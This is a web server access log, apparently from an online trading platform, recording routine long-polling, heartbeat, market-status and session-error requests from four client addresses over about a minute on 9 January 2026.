[09/Jan/2026:13:35:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937216189 HTTP/1.1" -
[09/Jan/2026:13:35:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:35:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937199757 HTTP/1.1" -
[09/Jan/2026:13:35:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937209642 HTTP/1.1" -
[09/Jan/2026:13:35:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937204263 HTTP/1.1" -
[09/Jan/2026:13:35:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937204809 HTTP/1.1" -
[09/Jan/2026:13:35:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937222186 HTTP/1.1" -
[09/Jan/2026:13:35:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:35:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:35:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937214732 HTTP/1.1" -
[09/Jan/2026:13:35:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937209322 HTTP/1.1" -
[09/Jan/2026:13:35:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937209890 HTTP/1.1" -
[09/Jan/2026:13:35:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937228187 HTTP/1.1" -
[09/Jan/2026:13:35:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937219837 HTTP/1.1" -
[09/Jan/2026:13:35:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937214508 HTTP/1.1" -
[09/Jan/2026:13:35:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:35:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:35:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937214967 HTTP/1.1" -
[09/Jan/2026:13:35:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937234195 HTTP/1.1" -
[09/Jan/2026:13:35:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937224930 HTTP/1.1" -
[09/Jan/2026:13:35:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937219658 HTTP/1.1" -
[09/Jan/2026:13:35:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:35:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937220035 HTTP/1.1" -
[09/Jan/2026:13:35:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:35:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:35:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937229955 HTTP/1.1" -
[09/Jan/2026:13:35:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937240196 HTTP/1.1" -
[09/Jan/2026:13:35:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937224817 HTTP/1.1" -
[09/Jan/2026:13:35:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937225062 HTTP/1.1" -
[09/Jan/2026:13:35:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937235050 HTTP/1.1" -
[09/Jan/2026:13:36:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937229932 HTTP/1.1" -
[09/Jan/2026:13:36:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:36:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937246194 HTTP/1.1" -
[09/Jan/2026:13:36:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:36:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937230093 HTTP/1.1" -
[09/Jan/2026:13:36:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937240119 HTTP/1.1" -
[09/Jan/2026:13:36:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937235071 HTTP/1.1" -
[09/Jan/2026:13:36:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937252185 HTTP/1.1" -
[09/Jan/2026:13:36:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937235159 HTTP/1.1" -
[09/Jan/2026:13:36:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937245217 HTTP/1.1" -
[09/Jan/2026:13:36:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937240126 HTTP/1.1" -
[09/Jan/2026:13:36:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937240239 HTTP/1.1" -
[09/Jan/2026:13:36:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937258194 HTTP/1.1" -
[09/Jan/2026:13:36:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937250284 HTTP/1.1" -
[09/Jan/2026:13:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937245250 HTTP/1.1" -
[09/Jan/2026:13:36:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:36:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:36:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937245295 HTTP/1.1" -
[09/Jan/2026:13:36:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937264189 HTTP/1.1" -
[09/Jan/2026:13:36:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937255385 HTTP/1.1" -
[09/Jan/2026:13:36:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937250367 HTTP/1.1" -
[09/Jan/2026:13:36:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:36:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:36:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937250372 HTTP/1.1" -
[09/Jan/2026:13:36:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937260424 HTTP/1.1" -
[09/Jan/2026:13:36:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937270190 HTTP/1.1" -
[09/Jan/2026:13:36:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937255486 HTTP/1.1" -
[09/Jan/2026:13:36:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937255405 HTTP/1.1" -
[09/Jan/2026:13:36:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937265495 HTTP/1.1" -
[09/Jan/2026:13:36:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937276185 HTTP/1.1" -
[09/Jan/2026:13:36:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:36:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:36:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937260614 HTTP/1.1" -
[09/Jan/2026:13:36:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937260490 HTTP/1.1" -
[09/Jan/2026:13:36:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937270613 HTTP/1.1" -
[09/Jan/2026:13:36:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937265664 HTTP/1.1" -
[09/Jan/2026:13:36:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937282185 HTTP/1.1" -
[09/Jan/2026:13:36:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937265560 HTTP/1.1" -
[09/Jan/2026:13:36:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:36:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:36:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:36:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937275688 HTTP/1.1" -
[09/Jan/2026:13:36:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937270823 HTTP/1.1" -
[09/Jan/2026:13:36:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937270639 HTTP/1.1" -
[09/Jan/2026:13:36:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937288193 HTTP/1.1" -
[09/Jan/2026:13:36:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937280777 HTTP/1.1" -
[09/Jan/2026:13:36:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937275947 HTTP/1.1" -
[09/Jan/2026:13:36:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
